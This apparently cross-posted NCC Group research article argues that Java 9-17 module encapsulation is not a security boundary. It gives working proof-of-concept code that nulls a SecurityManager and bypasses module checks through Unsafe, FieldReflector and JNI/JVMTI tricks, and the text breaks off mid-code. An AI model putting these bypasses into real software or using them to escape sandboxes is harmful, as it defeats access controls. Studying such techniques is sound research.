[This post is cross-posted at https://research.nccgroup.com/2023/04/05/java-17-deprecated-on-arrival/.]
(This is an article about structural issues in Java. Trust me.)
As has been the norm for the last 20+ years, I would like to continue tradition and describe security theater in TSA allegory. Several years ago, I was in an airport in the US — I won’t name names, but for reference, it wasn’t my “home” airports of JFK or LGA (or EWR). I was flying back from what I recall was an on-site start of a project. Because of this, I had my work laptop, my personal laptop, and a client laptop in my backpack, in addition to something like 3 Android test devices, my personal Nintendo 3DS, a jailbroken 3DS for research, and all the cables and dongles one could imagine needing for any situation. On my way to the client, my local airport TSA had the sense of mind to have everyone unpack their electronics so that they could be scanned properly; alas, Airport X’s TSA contingent did not. Instead, they had me — against my clear statement that 3 laptops were in my backpack — run the whole 20 pounds of metal, glass, silicon, plastic, and nylon in one shot through the X-ray machine. It was no surprise that they couldn’t make heads or tails of it, and it was pulled aside; after all, this is a story of gross negligence, not run-of-the-mill negligence. They pulled the bag aside, pulled me aside, and then started going through the process of unpacking my backpack while wearing fancy gloves and every so often swabbing things and fiddling with a machine. I say started to, because after the third laptop, and then the second phone, and then me pointing out other sections of the bag that held other electronics, including a hefty power bank, the TSA agent simply gave up and told me to pack my stuff back up and go. I was taken aback, but did as told. I then spent the rest of the hour or two before my flight brooding over what was probably a relatively nice dinner for an airport restaurant, not that I remember it. Honestly, as we all know how useless the TSA is at their purported job, my primary feeling at the time was that I was cheated. If I’m going to be paying taxes for an inept kleptocracy to be menacing and threatening to common decency, I expect them to see the job through without exemption. But the TSA is not what I’m here to tell you about… I’m here to talk about Java.
Java 9 introduced the concept of Java “modules,” or as Oracle calls it
“the most important new software engineering technology in Java since its
inception.”1 If the so-called “Java Platform Module System” (JPMS) had at least
done something useful, like solve the problem of duplicate class names between
JARs, then maybe it would be less problematic. Alas, when running in module
mode (-m
), and only module mode, Java will just have a conniption and raise
an exception. I guess that’s better than silently allowing things to continue (as is
still the case in the normal -cp
/-jar
classpath mode). But we didn’t really
need modules for that; Java could have just checked for duplicates in the same
classloader, and raised an error. Don’t be fooled, Java modules add nothing of
value, except maybe to anyone building a JDK themselves. Any claims of improved
security are fanciful and made by people who have never actually exploited a
Java application before and think that the private
keyword is a security
boundary.
Java modules’ primary addition to the Java platform is definitely a
“strong encapsulation”1 mentality. However, it’s not encapsulation for
developers. It’s encapsulation for Java itself from developers. For whatever
reason, the current maintainers of Java don’t like having to support a language
where developers can reflectively access the implementation details of the
platform’s core implementation, which was otherwise one of the main selling
points for Java and scalable/enterprise Java development in the first place.
This sort of dynamism is what gives Java its power in the market and enables
the building of large frameworks, performant runtime code generation,
and general performance improvements beyond what Java will give you by default.
After all, Java is a terrible language with great tooling support. Or at least,
it was. Java modules throw all of that out the window because Oracle doesn’t
like it when libraries use sun.misc.Unsafe
2 and tries to pretend that
it’s well, “unsafe”, or some sort of security hole.
Java Modules Restrictions
So why is this post about Java 17 if all of this started in Java 9, with the first LTS being Java 11? Well, in Java 9 and 11, to ease developers into this unnatural new scheme, Java emitted the following warnings whenever accessing something Oracle didn’t want you to keep having access to, calling such accesses “illegal”:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ... (file:...) to field ...
WARNING: Please consider reporting this to the maintainers of ...
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
In Java 17, such accesses became hard errors without adding insane CLI
arguments like --add-opens=java.base/java.lang=ALL-UNNAMED
. So what is it
exactly that Oracle doesn’t want you to have access to? 50%+ of the runtime
basically. Essentially, anything that is private
or protected
is now
“blocked” by default, as is anything in a separate module that doesn’t
explicitly open itself or anything private
in one that does. The so-called
package-private is a bit more complicated and arguably various accesses work
that one would assume shouldn’t under the new regime. It is likely that because
this feature was solely to restrict access to anything in internal JDK classes
they didn’t want to grant access to, package private was not really considered.
Remember, no matter what the documentation or blog posts might say, this isn’t
about security.
An Elegy to Security Managers
As of Java 17, security managers are now deprecated and are planned for removal in a future version with no replacement.3 Security managers are classes that, using supporting infrastructure in the JVM, enable the development of custom in-application sandboxes to restrict what an application can do at runtime. While they are pretty neat, they are also fundamentally unsound (remember the Java browser plugin?) and tricky to get right,4 and I imagine they have quite the performance impact. Anyway, I imagine Oracle decided they didn’t want to have to maintain the infrastructure anymore, and didn’t want to try to fix the problems with security managers. So it’s basically dead, but not completely, meaning we can still mess with it.
As someone who has written a Java SecurityManager bypass once or twice to prove a point (originally written for Tim Newsham), there are a couple of things one might want to do to muck around on the inside of the JVM, depending on one’s goals. Let’s start with that very example. The original code is listed below verbatim, but it contains a lot of test code attempting different things.
A Hacky Java 8 Security Manager Bypass Example
import java.nio.file.*;
import java.util.*;
import sun.misc.*;
import java.lang.reflect.*;
import java.nio.ByteBuffer;
import java.io.*;
class Main {
public static class Foo {
public final int a;
public final long b;
public Foo() {
a = 0x41414141;
b = 0x4242424242424242L;
}
}
public static void main(String[] argv) {
try {
ByteBuffer bb = ByteBuffer.allocateDirect(8192);
bb.putInt(0x41414141);
bb.putInt(0x42424242);
System.out.println(bb.getClass());
Field unsafe_field = bb.getClass().getDeclaredField("unsafe");
System.out.println(unsafe_field);
unsafe_field.setAccessible(true);
Object unsafe = unsafe_field.get(null);
System.out.println(unsafe);
System.out.println(unsafe.getClass());
//note: unfortunately, we can't reflect on it due to the access control checks in the jdk
// otherwise the below would work
Foo f = new Foo();
System.out.println(f.a);
System.out.println(f.b);
/*
Method getLong_2 = unsafe.getClass().getMethod("getLong", Object.class, long.class);
Method getInt_2 = unsafe.getClass().getMethod("getInt", Object.class, long.class);
Method objectFieldOffset_1 = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Method putInt_3 = unsafe.getClass().getMethod("putInt", Object.class, long.class, int.class);
Method putLong_3 = unsafe.getClass().getMethod("putLong", Object.class, long.class, long.class);
long off_a = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("a"));
long off_b = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("b"));
System.out.println(getInt_2.invoke(unsafe, f, off_a));
System.out.println(getLong_2.invoke(unsafe, f, off_a+4));
putInt_3.invoke(unsafe, f, off_a, 3333);
putLong_3.invoke(unsafe, f, off_a+4, 4444);
System.out.println(f.a);
System.out.println(f.b);
*/
System.out.println("==========");
Class Bits = Class.forName("java.nio.Bits");
Method _getByte = Bits.getDeclaredMethod("_get", long.class);
_getByte.setAccessible(true);
Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
_putByte.setAccessible(true);
Method address_0 = bb.getClass().getMethod("address"); //off-heap address
address_0.setAccessible(true);
System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
for (int i = 0; i < 8; i++) {
System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
}
System.out.println("==========");
ObjectStreamField osf = new ObjectStreamField("s", long.class);
ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};
Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
FieldReflector_cons.setAccessible(true);
Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
System.out.println(fr);
Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
writeKeys_field.setAccessible(true);
writeKeys_field.set(fr, new long[]{116});
Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
setPrimFieldValues.setAccessible(true);
System.out.println(System.err);
System.out.println(System.getSecurityManager());
byte zeros[] = new byte[8];
setPrimFieldValues.invoke(fr, System.class, zeros);
System.out.println(System.err);
System.out.println(System.getSecurityManager());
System.out.println(unsafe.getClass().getMethod("addressSize")); //bypassed
} catch (Throwable t) {
t.printStackTrace();
}
}
}
Let’s walk through what is going on here. First, it’s worth noting that the
java.policy
Tim sent me was the following:
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
This is exactly the sort of common thing you’ll find needed to be allowed in anything doing a fair amount of reflecting to “get things done.” If this isn’t possible, well, you lose a big part of the value of using Java in the first place.
The application used a custom security manager that sought to restrict the
kinds of things that could be done (e.g. create processes, write files, etc.).
So the entire exercise revolved around interesting ways to set the
java.lang.System::security
field to null
. For example, this could be done
either by getting a handle on sun.misc.Unsafe
or through other things that
would use it or similar primitives deep within the bowels of the JDK.
To start, when even the default security manager is enabled,
Class.forName("sun.misc.Unsafe")
will fail. Let’s get around that:
ByteBuffer bb = ByteBuffer.allocateDirect(8192);
...
Field unsafe_field = bb.getClass().getDeclaredField("unsafe");
unsafe_field.setAccessible(true);
Object unsafe = unsafe_field.get(null);
The above is just a fun way to get a sun.misc.Unsafe
without getting it the
normal way. It no longer works in Java 9+ for a few reasons. The private
reflection being one, and the fact that Java 11 stopped directly using an unsafe
field within java.nio.Direct*Buffer
. You could try to fetch it from
java.nio.Bits
’ UNSAFE
field, but you’d run into the fact that it’s a
private field in a package private class and would need
--add-opens=java.base/java.nio=ALL-UNNAMED
.
But even with a handle on an instance of sun.misc.Unsafe
, the security
manager will prevent us from doing much of anything with it. For example,
unsafe.getClass().getMethod("getByte", Object.class, long.class)
would fail.
So we must find other ways to access its methods, such as through methods wrapping it:
Class Bits = Class.forName("java.nio.Bits");
Method _getByte = Bits.getDeclaredMethod("_get", long.class);
_getByte.setAccessible(true);
Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
_putByte.setAccessible(true);
Method address_0 = bb.getClass().getMethod("address");
address_0.setAccessible(true);
System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
for (int i = 0; i < 8; i++) {
System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
}
The above snippet demonstrates using the internal java.nio.Bits::_get(long)
method as a wrapper for sun.misc.Unsafe::getByte(long)
. While not used in the
above snippet, java.nio.Bits::_put(long,byte)
could be used as a wrapper for the
sun.misc.Unsafe::putByte(long,byte)
:
for (int i = 0; i < 8; i++) {
System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
_putByte.invoke(null, (Long)address_0.invoke(bb)+i, (byte)0x43);
}
However, these will no longer work in Java 11+ as these methods have been
removed from java.nio.Bits
. So let’s look for something else that’s
convoluted.
ObjectStreamField osf = new ObjectStreamField("s", long.class);
ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};
Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
FieldReflector_cons.setAccessible(true);
Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
writeKeys_field.setAccessible(true);
writeKeys_field.set(fr, new long[]{116}); // java 8
Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
setPrimFieldValues.setAccessible(true);
byte zeros[] = new byte[8];
setPrimFieldValues.invoke(fr, System.class, zeros);
In the above snippet, we construct an instance of the nested
java.io.ObjectStreamClass$FieldReflector
class, initialize it just enough,
and set its writeKeys
(described as “unsafe fields keys for writing fields - no dupes
”)
value to the target field offset, and invoke its setPrimFieldValues
method
(described as “Sets the serializable primitive fields of object obj using values unmarshalled from byte array buf starting at offset 0. The caller is responsible for ensuring that obj is of the proper type
”)
against the java.lang.System
class. This results in that offset being
clobbered with zeros
. In the above example, we use a byte array of 8 zeros
and clobber the field following security
, as the first typeCodes
array
value is of size 8. A cleaner way would be to set the typeCodes
array to
new char[]{'I'}
and use a zeros
array of size 4:
Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
typeCodes_field.setAccessible(true);
typeCodes_field.set(fr, new char[]{'I'});
...
byte zeros[] = new byte[4];
setPrimFieldValues.invoke(fr, System.class, zeros);
Java, for whatever foolish reason, tries to prevent code from getting a
reflection handle on the java.lang.System::security
. So a simple way to get
its offset is to get the offset of the field before it (err
) and add four:
Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Object unsafe = theUnsafe.get(null);
Method staticFieldOffset = unsafe_class.getMethod("staticFieldOffset", Field.class);
Field err = System.class.getDeclaredField("err");
System.out.println("staticFieldOffset of java.lang.System::err: " + staticFieldOffset.invoke(unsafe, err));
In OpenJDK 8, it was 116
(112 + 4
), and in OpenJDK 11 and 17, it is 124
(120 + 4
), though to run the
setPrimFieldValues
mechanism on OpenJDK 17, you’ll need --add-opens=java.base/java.io=ALL-UNNAMED
.
Example Code
import java.util.*;
import sun.misc.*;
import java.lang.reflect.*;
import java.nio.ByteBuffer;
import java.io.*;
class Retro {
// ~/opt/jdk8u312-b07/Contents/Home/bin/javac Retro.java
// ~/opt/jdk8u312-b07/Contents/Home/bin/java -Djava.security.manager -Djava.security.policy=./java.policy Retro
public static void main(String[] argv) {
SecurityManager _sm = System.getSecurityManager();
System.out.println("System.getSecurityManager(): " + _sm);
if (_sm == null) {
System.out.println("no security manager set. dumping stats:");
try {
Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Object unsafe = theUnsafe.get(null);
Method staticFieldOffset = unsafe_class.getMethod("staticFieldOffset", Field.class);
Field err = System.class.getDeclaredField("err");
System.out.println("staticFieldOffset of java.lang.System::err: " + staticFieldOffset.invoke(unsafe, err));
} catch (Throwable t) {
t.printStackTrace();
}
return;
}
System.out.print("trying to Class.forName(\"sun.misc.Unsafe\"): ");
try {
Object unsafe_class = Class.forName("sun.misc.Unsafe");
System.out.println("success (shouldn't happen): " + unsafe_class);
} catch (Throwable t) {
System.out.println("failed (normal)");
}
ByteBuffer bb = ByteBuffer.allocateDirect(8192);
bb.putInt(0x41414141);
bb.putInt(0x42424242);
System.out.print("bb: ");
for (int i=0; i < bb.position(); i++) {
System.out.print(bb.get(i));
System.out.print(" ");
}
System.out.println("");
System.out.println(bb);
System.out.println(bb.getClass());
System.out.println(bb.getClass().getSuperclass());
System.out.println(Arrays.toString(bb.getClass().getInterfaces()));
System.out.println(Arrays.toString(bb.getClass().getDeclaredFields()));
try {
Field unsafe_field = null;
try {
unsafe_field = bb.getClass().getDeclaredField("unsafe");
} catch (Throwable t) {
t.printStackTrace();
try {
unsafe_field = Class.forName("java.nio.Bits").getDeclaredField("UNSAFE"); // 11+
} catch (Throwable tt) {
tt.printStackTrace();
}
}
if (unsafe_field != null) {
try {
System.out.println(unsafe_field);
unsafe_field.setAccessible(true);
Object unsafe = unsafe_field.get(null);
System.out.println(unsafe);
System.out.println(unsafe.getClass());
System.out.print("trying to unsafe.getClass().getMethod(\"getByte\", Object.class, byte.class): ");
try {
Method getByteObjOff = unsafe.getClass().getMethod("getByte", Object.class, long.class);
System.out.println("success (shouldn't happen): " + getByteObjOff);
} catch (Throwable t) {
System.out.println("failed (normal)");
}
} catch (Throwable t) {
t.printStackTrace();
}
}
System.out.println("==========");
try {
Class Bits = Class.forName("java.nio.Bits");
Method _getByte = Bits.getDeclaredMethod("_get", long.class);
_getByte.setAccessible(true);
Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
_putByte.setAccessible(true);
Method address_0 = bb.getClass().getMethod("address"); //off-heap address
address_0.setAccessible(true);
System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
for (int i = 0; i < 8; i++) {
System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
_putByte.invoke(null, (Long)address_0.invoke(bb)+i, (byte)0x43);
}
System.out.print("bb: ");
for (int i=0; i < bb.position(); i++) {
System.out.print(bb.get(i));
System.out.print(" ");
}
System.out.println("");
} catch (Throwable t) {
t.printStackTrace();
}
System.out.println("==========");
try {
ObjectStreamField osf = new ObjectStreamField("s", long.class);
ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};
Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
FieldReflector_cons.setAccessible(true);
Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
System.out.println(fr);
Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
typeCodes_field.setAccessible(true);
typeCodes_field.set(fr, new char[]{'I'});
Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
writeKeys_field.setAccessible(true);
writeKeys_field.set(fr, new long[]{Integer.parseInt(argv[0])}); // 8: 116, 11: 124, 17: 124
Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
setPrimFieldValues.setAccessible(true);
System.out.println("System.getSecurityManager(): " + System.getSecurityManager());
byte zeros[] = new byte[4];
setPrimFieldValues.invoke(fr, System.class, zeros);
System.out.println("System.getSecurityManager(): " + System.getSecurityManager());
System.out.print("trying to Class.forName(\"sun.misc.Unsafe\"): ");
try {
Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
System.out.println("success (shouldn't happen): " + unsafe_class);
System.out.print("trying to unsafe_class.getDeclaredField(\"theUnsafe\"): ");
Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
System.out.println("success (shouldn't happen): " + theUnsafe);
System.out.print("trying to theUnsafe.setAccessible(true): ");
theUnsafe.setAccessible(true);
System.out.println("success (shouldn't happen)");
System.out.print("trying to theUnsafe.get(null): ");
Object unsafe = theUnsafe.get(null);
System.out.println("success (shouldn't happen): " + unsafe);
System.out.print("trying to unsafe_class.getMethod(\"getByte\", Object.class, byte.class): ");
Method getByteObjOff = unsafe_class.getMethod("getByte", Object.class, long.class);
System.out.println("success (shouldn't happen): " + getByteObjOff);
} catch (Throwable t) {
System.out.println("failed (normal)");
t.printStackTrace();
}
} catch (Throwable t) {
t.printStackTrace();
}
} catch (Throwable t) {
t.printStackTrace();
}
}
}
Java Modules Restrictions Bypasses
So enough about security managers for now, let’s come up with some fun ways
to bypass the module checks. While there are probably a bunch of interesting
ways to disable the internal machinery of the module checks, the simplest by
far is simply to be a member of the same module, which short circuits pretty
much everything. To pass this check, the module
field of the accessing class
and the accessed class need to be the same. So how do we modify this private field in
a world where you can’t access private fields? You clobber the memory.
Unsafe
If you can get a handle on a sun.misc.Unsafe
object, that is sufficient
to overcome the module restrictions. Alternatively, if you can get a
handle on a jdk.internal.misc.Unsafe
, even better, but the reduced
sun.misc.Unsafe
is more than enough for now. So, how do you go about
getting one? Well, it depends on how you run your code.
If you run your code using -cp
or -jar
, you can directly resolve
sun.misc.Unsafe
and your code will generally function. This is how the
majority of the world runs their Java apps, and it’s probably not going to
change given how broken the module system is.
If you run your code using the new module system with -p
and -m
, then
you’re likely already using module-info.java
files (if you aren’t, you
should stop using the module system and look at what your build system is
doing unbeknownst to you). Anyway, you will need to add
requires jdk.unsupported;
if it isn’t there already, and it probably is if
you want your code to run performantly. Alternatively, if there are any
--add-opens
options passed in (they will need to specify an exact module
for them to apply to module-loaded JARs, e.g.
--add-opens=java.base/java.io=trust.nccgroup.foo
), you can likely get what
you need with similar code to the above
java.io.ObjectStreamClass$FieldReflector
mechanism.
Note: Because java.net.URLClassLoader
doesn’t support modules, any
JARs loaded by it will be in unnamed modules. While --add-opens
options of
ALL-UNNAMED
will not apply to JARs loaded as modules, they will apply to
anything loaded with a URLClassLoader
(and similarly any other
non-module-aware classloading mechanism). Due to this, while the lack of a
top-level requires jdk.unsupported;
would prevent such unnamed module JARs
from directly loading or using sun.misc.Unsafe
, any ALL-UNNAMED
--add-opens
will
likely enable a sun.misc.Unsafe
object to be indirectly used to gain full
access to sun.misc.Unsafe
or even jdk.internal.misc.Unsafe
.
try {
ObjectStreamField osf = new ObjectStreamField("s", long.class);
ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};
Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
FieldReflector_cons.setAccessible(true);
Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
typeCodes_field.setAccessible(true);
typeCodes_field.set(fr, new char[]{'I'});
Method getPrimFieldValues = fr.getClass().getDeclaredMethod("getPrimFieldValues", Object.class, byte[].class);
getPrimFieldValues.setAccessible(true);
Field readKeys_field = fr.getClass().getDeclaredField("readKeys");
readKeys_field.setAccessible(true);
readKeys_field.set(fr, new long[]{48});
byte javabase_javaio_module[] = new byte[4];
getPrimFieldValues.invoke(fr, ObjectStreamClass.class, javabase_javaio_module);
Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
writeKeys_field.setAccessible(true);
writeKeys_field.set(fr, new long[]{48});
Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
setPrimFieldValues.setAccessible(true);
setPrimFieldValues.invoke(fr, Main.class, javabase_javaio_module);
try {
Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
Method m = unsafeClass.getDeclaredMethod("getUnsafe");
Object unsafe = m.invoke(null);
// the above line would normally fail with:
// java.lang.IllegalAccessException: class ....Main (in module ...) cannot access class jdk.internal.misc.Unsafe (in module java.base)
// because module java.base does not export jdk.internal.misc to module ...
// but it doesn't
System.out.println(unsafe); // jdk.internal.misc.Unsafe@448139f0
} catch (Throwable t) {
t.printStackTrace();
}
} catch (Throwable t) {
t.printStackTrace();
}
Note: An interesting facet of the new internal handling of
sun.misc.Unsafe
is that, as a veneer for jdk.internal.misc.Unsafe
, it is
only loaded/available in the classloader when either not running in module
mode, or when requires jdk.unsupported;
is configured for the module. Due to
this, the above code gets an instance of jdk.internal.misc.Unsafe
, which is
arguably better to have anyway (it has some nicer versions of sun.misc.Unsafe
that are easier to use safely). It is also worth noting that we got the
offset of module
(48 in Java 17) using sun.misc.Unsafe::objectFieldOffset
in -jar
mode, which operates similarly to staticFieldOffset
. While we
didn’t need it here, the offset of java.lang.Class::classLoader
is 52
(48 + 4
), which needs to be calculated as the field following module
since
it is filtered from reflection.
“JNI”
The Java Native Interface is Java’s main foreign function interface (FFI). It
provides an API for Java to call into native code and for native code to
interact with the Java runtime. JNI code can be incredibly powerful in that
if it decides to muck around in memory, there is not much the JVM can do to prevent that. One
such oddity of JNI-loaded shared objects is that they can seemingly access the
Java Virtual Machine Tool Interface (JVMTI), the native Java agent API that
enables lower access to the JVM than simply bytecode instrumentation —
for example, jdb
is really just a JVMTI agent library and debugger client.
While this isn’t strictly necessary to do what we want to do, it gives us a
proper API for iterating through object instances and class internals. These enable us
to sidestep the module-based filtering being done to get a lower-level handle
on an Unsafe
and use it to migrate a wrapper class into java.base
so that
it can be used by normal code to proxy calls into the Unsafe
object.
JNI Example (C)
// clang -std=c11 -I "$(/usr/libexec/java_home)/include" -I "$(/usr/libexec/java_home)/include/darwin" -shared -o test.dylib test.c
// gcc -std=c11 -fPIC -I /opt/java/openjdk/include -I /opt/java/openjdk/include/linux -shared -o test.so test.c
#include <stdio.h>
#include <string.h>
#include <jni.h>
#include <jvmti.h>
__attribute__((constructor))
void myctor() {
}
jvmtiEnv* jvmti = NULL;
jint JNI_OnLoad(JavaVM *vm, void *reserved) {
jvmti = NULL;
(*vm)->GetEnv(vm, (void **)&jvmti, JVMTI_VERSION_1_0);
return JNI_VERSION_1_8;
}
JNIEXPORT jobject JNICALL Java_trust_nccgroup_UnsafeWrapper_nativeInit(JNIEnv *env, jobject _this) {
jclass unsafe = NULL;
jint class_count;
jclass* classes;
jvmtiError err = (*jvmti)->GetLoadedClasses(jvmti, &class_count, &classes);
jclass class_class = (*env)->FindClass(env, "java/lang/Class");
jmethodID class_getName = (*env)->GetMethodID(env, class_class, "getName", "()Ljava/lang/String;");
jmethodID class_getModule = (*env)->GetMethodID(env, class_class, "getModule", "()Ljava/lang/Module;");
jobject class_module = (*env)->CallObjectMethod(env, class_class, class_getModule);
jclass unsafewrapper_class = (*env)->GetObjectClass(env, _this);
jobject unsafewrapper_module = (*env)->CallObjectMethod(env, unsafewrapper_class, class_getModule);
jclass klass = NULL;
int jdk_internal = 0;
for (size_t i=0; i<class_count; i++) {
jclass klass = classes[i];
jstring name = (*env)->CallObjectMethod(env, klass, class_getName);
const char *name_cstr = (*env)->GetStringUTFChars(env, name, 0);
if (strstr(name_cstr, ".misc.Unsafe") != NULL) {
if (strcmp("sun.misc.Unsafe", name_cstr) == 0) {
unsafe = klass;
break;
} else if (strcmp("jdk.internal.misc.Unsafe", name_cstr) == 0) {
unsafe = klass;
jdk_internal = 1;
break;
}
}
}
jobject theUnsafe = NULL;
if (unsafe != NULL) {
jint field_count;
jfieldID* fields;
jvmtiError err = (*jvmti)->GetClassFields(jvmti, unsafe, &field_count, &fields);
jint accessFlags;
for (size_t i=0; i<field_count; i++) {
char* name_ptr;
(*jvmti)->GetFieldName(jvmti, unsafe, fields[i], &name_ptr, NULL, NULL);
if (strcmp(name_ptr, jdk_internal ? "theUnsafe" : "theInternalUnsafe") == 0) {
theUnsafe = (*env)->GetStaticObjectField(env, unsafe, fields[i]);
}
(*jvmti)->Deallocate(jvmti, (void*)name_ptr);
if (theUnsafe != NULL) {
break;
}
}
(*jvmti)->Deallocate(jvmti, (void*)fields);
if (theUnsafe != NULL) {
jint method_count;
jmethodID* methods;
jvmtiError err = (*jvmti)->GetClassMethods(jvmti, unsafe, &field_count, &methods);
jmethodID objectFieldOffset = NULL;
jmethodID getLong = NULL;
jmethodID putLong = NULL;
int count = 0;
for (size_t i=0; i<method_count; i++) {
char* name_ptr;
char* sig_ptr;
(*jvmti)->GetMethodName(jvmti, methods[i], &name_ptr, &sig_ptr, NULL);
if (strcmp("objectFieldOffset", name_ptr) == 0 && strcmp("(Ljava/lang/reflect/Field;)J", sig_ptr) == 0) {
objectFieldOffset = methods[i];
count++;
} else if (strcmp("getLong", name_ptr) == 0 && strcmp("(Ljava/lang/Object;J)J", sig_ptr) == 0) {
getLong = methods[i];
count++;
} else if (strcmp("putLong", name_ptr) == 0 && strcmp("(Ljava/lang/Object;JJ)V", sig_ptr) == 0) {
putLong = methods[i];
count++;
}
(*jvmti)->Deallocate(jvmti, (void*)name_ptr);
(*jvmti)->Deallocate(jvmti, (void*)sig_ptr);
if (count == 3) {
break;
}
}
if (count == 3) {
jfieldID class_module_fieldID = (*env)->GetFieldID(env, class_class, "module", "Ljava/lang/Module;");
jobject class_module_field = (*env)->ToReflectedField(env, class_class, class_module_fieldID, 0);
jlong moduleFieldOffset = (*env)->CallLongMethod(env, theUnsafe, objectFieldOffset, class_module_field);
jlong javabase_module = (*env)->CallLongMethod(env, theUnsafe, getLong, class_class, moduleFieldOffset);
(*env)->CallVoidMethod(env, theUnsafe, putLong, unsafewrapper_class, moduleFieldOffset, javabase_module);
} else {
puts("??????????");
}
(*jvmti)->Deallocate(jvmti, (void*)methods);
}
}
(*env)->DeleteLocalRef(env, class_class);
(*jvmti)->Deallocate(jvmti, (void*)classes);
return theUnsafe;
}
JNI Example (Java)
package trust.nccgroup;
import java.lang.reflect.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.module.*;
import java.nio.file.Path;
import java.util.*;
import java.util.stream.*;
public class UnsafeWrapper {
private static String type = null;
private static Object theUnsafe = null;
private native Object nativeInit();
private static Map<String,Map<String,Method>> methods = new HashMap<>();
private UnsafeWrapper() { }
public static String type() {
return type;
}
private static final Map<Class<?>,Class<?>> boxmap = Stream.of(new Class<?>[][] {
{ Void.TYPE, Void.class },
{ Long.TYPE, Long.class },
{ Integer.TYPE, Integer.class },
{ Short.TYPE, Short.class },
{ Byte.TYPE, Byte.class },
{ Float.TYPE, Float.class },
{ Double.TYPE, Double.class },
{ Boolean.TYPE, Boolean.class },
{ Character.TYPE, Character.class },
}).collect(Collectors.toMap(data -> data[0], data -> data[1]));
public static Object invoke(String method_name, Class<?>[] types, Object... args) {
Map<String,Method> mm = methods.get(method_name);
if (mm == null) {
System.err.println("method name not found: " + method_name);
return null;
}
String sig_str = Arrays.toString(types);
Method m = mm.get(sig_str);
if (m == null) {
System.err.println("method sig not found: " + method_name + "(" + sig_str + ")");
return null;
}
try {
return m.invoke(theUnsafe, args);
} catch (Throwable t) {
t.printStackTrace();
return null;
}
}
public static boolean init(String libunsafe_path) {
try {
System.load(libunsafe_path);
UnsafeWrapper u = new UnsafeWrapper();
theUnsafe = u.nativeInit();
System.out.println(theUnsafe);
Class<?> c = theUnsafe.getClass();
type = c.toString();
System.out.println(c);
for (Method m : c.getDeclaredMethods()) {
Map<String,Method> mm = methods.get(m.getName());
if (mm == null) {
mm = new HashMap<>();
methods.put(m.getName(), mm);
}
Class<?>[] param_types = m.getParameterTypes();
String sig_str = Arrays.toString(param_types);
mm.put(sig_str, m);
}
return true;
} catch (Throwable t) {
t.printStackTrace();
return false;
}
}
}
public static long patchClassModule(Class<?> clobber, Class<?> with) {
try {
Class<?> class_class = Class.class;
Field class_field_module = class_class.getDeclaredField("module");
long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, class_field_module);
System.out.println("Class.module offset: " + moduleFieldOffset);
long original_module = (long)(Long)UnsafeWrapper.invoke("getLong", new Class<?>[]{Object.class, long.class}, clobber, moduleFieldOffset);
long new_module = (long)(Long)UnsafeWrapper.invoke("getLong", new Class<?>[]{Object.class, long.class}, with, moduleFieldOffset);
UnsafeWrapper.invoke("putLong", new Class<?>[]{Object.class, long.class, long.class}, clobber, moduleFieldOffset, new_module);
return original_module;
} catch (Throwable t) {
t.printStackTrace();
return 0;
}
}
public static void stompModule(Class<?> clobber, long with) {
try {
Class<?> class_class = Class.class;
Field class_field_module = class_class.getDeclaredField("module");
